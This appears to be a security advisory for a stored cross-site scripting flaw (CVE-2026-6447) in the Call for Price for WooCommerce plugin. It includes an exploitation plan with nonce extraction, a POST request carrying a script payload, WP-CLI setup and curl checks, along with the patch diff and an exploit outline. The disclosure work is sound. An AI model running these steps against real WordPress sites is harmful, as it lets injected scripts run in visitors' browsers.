Call for Price for WooCommerce <= 4.2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Call for Price' Label Settings
Description
The Call for Price for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=4.2.0What Changed in the Fix
Changes introduced in v4.3.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-6447 ## 1. Vulnerability Summary The **Call for Price for WooCommerce** plugin (up to version 4.2.0) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin explicitly bypasses WooCommerce's standard se…
Show full research plan
Exploitation Research Plan: CVE-2026-6447
1. Vulnerability Summary
The Call for Price for WooCommerce plugin (up to version 4.2.0) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin explicitly bypasses WooCommerce's standard setting sanitization for specific textarea fields. This allows an administrator (or any user with access to plugin settings) to inject arbitrary HTML and scripts. While administrators usually have the unfiltered_html capability, this vulnerability is critical in WordPress Multisite environments or installations where DISALLOW_UNFILTERED_HTML is enabled, as it allows bypass of those restrictions.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price§ion=simple - Vulnerable Parameter:
alg_wc_call_for_price_text_simple_single(and other related textarea fields for different product types/views). - Authentication: Administrator+ level permissions.
- Preconditions:
- WooCommerce must be installed and active.
unfiltered_htmlmust be disabled (standard in Multisite or viadefine( 'DISALLOW_UNFILTERED_HTML', true );) to demonstrate the bypass of security controls.- A product must exist with no price set to trigger the frontend rendering of the "Call for Price" label.
3. Code Flow
- Registration: In
includes/admin/class-wc-call-for-price-settings-product-types.php, the plugin registers a filter onwoocommerce_admin_settings_sanitize_optionin the constructor:add_filter( 'woocommerce_admin_settings_sanitize_option', array( $this, 'unclean_custom_textarea' ), PHP_INT_MAX, 3 ); - Sanitization Bypass: The method
unclean_custom_textareaexplicitly returns the$raw_valuewithout any sanitization if the option type isalg_wc_call_for_price_textarea:public function unclean_custom_textarea( $value, $option, $raw_value ) { return ( 'alg_wc_call_for_price_textarea' === $option['type'] ) ? $raw_value : $value; } - Setting Identification: In
generate_settings_section(), the textarea for the single product page is defined with the ID pattern:alg_wc_call_for_price_text_simple_singleand typealg_wc_call_for_price_textarea. - Rendering: On the frontend, in
includes/class-wc-call-for-price.php, the plugin retrieves these options usingget_option()and outputs them to the page when a product has no price. The lack ofesc_html()or strictwp_kses()on the frontend allows the stored script to execute.
4. Nonce Acquisition Strategy
This exploit targets a standard WooCommerce settings page. WooCommerce protects these settings with a WordPress nonce.
- Navigate: Use
browser_navigateto go to:/wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price§ion=simple. - Extract: Use
browser_evalto extract the nonce from the hidden input field_wpnonce.document.querySelector('input[name="_wpnonce"]').value - Alternative: If the settings are saved via AJAX (less common for standard WC tabs but possible), look for the
wc_settings_paramslocalized script.
5. Exploitation Strategy
Step 1: Preparation
- Create a Simple Product with an empty price using WP-CLI.
- Disable
unfiltered_htmlto confirm the vulnerability.
Step 2: Injection
- Log into the WordPress admin panel.
- Navigate to the plugin settings page.
- Capture the
_wpnonce. - Send a POST request to
/wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price§ion=simplewith the following payload:- Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
_wpnonce:[EXTRACTED_NONCE]_wp_http_referer:/wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price§ion=simplealg_wc_call_for_price_text_simple_single:<strong>Call for Price</strong><script>alert(document.domain)</script>save:Save changes
- Method:
Step 3: Triggering
- Navigate to the frontend URL of the product created in Step 1.
- Observe the execution of the JavaScript payload.
6. Test Data Setup
# 1. Ensure WooCommerce is active (prerequisite)
wp plugin activate woocommerce
# 2. Create a product with no price
PRODUCT_ID=$(wp post create --post_type=product --post_title="Vulnerable Product" --post_status=publish --porcelain)
wp post meta set $PRODUCT_ID _price ""
wp post meta set $PRODUCT_ID _regular_price ""
# 3. Enable the plugin and global settings
wp option update alg_wc_call_for_price_enabled "yes"
wp option update alg_wc_call_for_price_simple_enabled "yes"
wp option update alg_wc_call_for_price_simple_single_enabled "yes"
# 4. Disable unfiltered_html for the session/environment
# This is usually done in wp-config.php, but for PoC we can simulate via a filter if needed
# or just proceed as Administrator in a Multisite-like context.
7. Expected Results
- The POST request to the settings page should return a
302 Redirectback to the settings page withsettings-updated=1. - The database option
alg_wc_call_for_price_text_simple_singlewill contain the raw<script>tag. - When viewing the product page, the HTML source will contain the unescaped script tag, and the browser will trigger the
alert().
8. Verification Steps
# Check if the payload is stored exactly as sent
wp option get alg_wc_call_for_price_text_simple_single
# Expected: <strong>Call for Price</strong><script>alert(document.domain)</script>
# Verify on frontend (via CLI to see raw HTML)
curl -s http://localhost:8080/?p=$PRODUCT_ID | grep -F "alert(document.domain)"
9. Alternative Approaches
If the simple section is not the default, the payload can be sent to the general settings tab alg_wc_call_for_price or any other product type section (variable, grouped, external).
If the site has a custom theme that overrides WooCommerce templates, the injection point might differ, but the logic in includes/class-wc-call-for-price.php hooks into woocommerce_get_price_html, which is the standard WooCommerce hook for price display across almost all themes.
Summary
The Call for Price for WooCommerce plugin is vulnerable to Stored Cross-Site Scripting (XSS) because it explicitly bypasses standard WooCommerce setting sanitization for its 'Call for Price' label fields. Authenticated administrators can inject arbitrary scripts into these settings, which execute on the frontend when a product with no price is viewed, bypassing security restrictions in WordPress Multisite or environments where unfiltered_html is disabled.
Vulnerable Code
// includes/admin/class-wc-call-for-price-settings-product-types.php line 68 public function unclean_custom_textarea( $value, $option, $raw_value ) { return ( 'alg_wc_call_for_price_textarea' === $option['type'] ) ? $raw_value : $value; } --- // includes/class-wc-call-for-price.php line 238 (approx.) if ( true === $status ) { return $price_html; } else { return do_shortcode( $label ); }
Security Fix
@@ -66,7 +66,10 @@ * @since 3.1.0 */ public function unclean_custom_textarea( $value, $option, $raw_value ) { - return ( 'alg_wc_call_for_price_textarea' === $option['type'] ) ? $raw_value : $value; + if ( 'alg_wc_call_for_price_textarea' === $option['type'] ) { + return wp_kses_post( $raw_value ); + } + return $value; } /** @@ -235,7 +235,7 @@ if ( true === $status ) { return $price_html; } else { - return do_shortcode( $label ); + return wp_kses_post( do_shortcode( $label ) ); } } } @@ -678,7 +678,7 @@ array( 'product_id' => $_product_id ) ); } - return do_shortcode( $label ); + return wp_kses_post( do_shortcode( $label ) ); } }
Exploit Outline
1. Gain Administrator-level access to the WordPress site. 2. Navigate to the WooCommerce settings page for the plugin: `/wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price§ion=simple`. 3. Identify a textarea field belonging to the custom type `alg_wc_call_for_price_textarea` (e.g., the field with ID `alg_wc_call_for_price_text_simple_single`). 4. Extract the security nonce from the `_wpnonce` hidden input on the page. 5. Submit a POST request to the settings endpoint containing the nonce and a malicious payload in the identified textarea (e.g., `<script>alert(document.domain)</script>`). 6. Ensure a WooCommerce product exists with an empty price field so the plugin triggers the "Call for Price" logic. 7. Visit the public product page; the injected script will execute in the context of the user's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.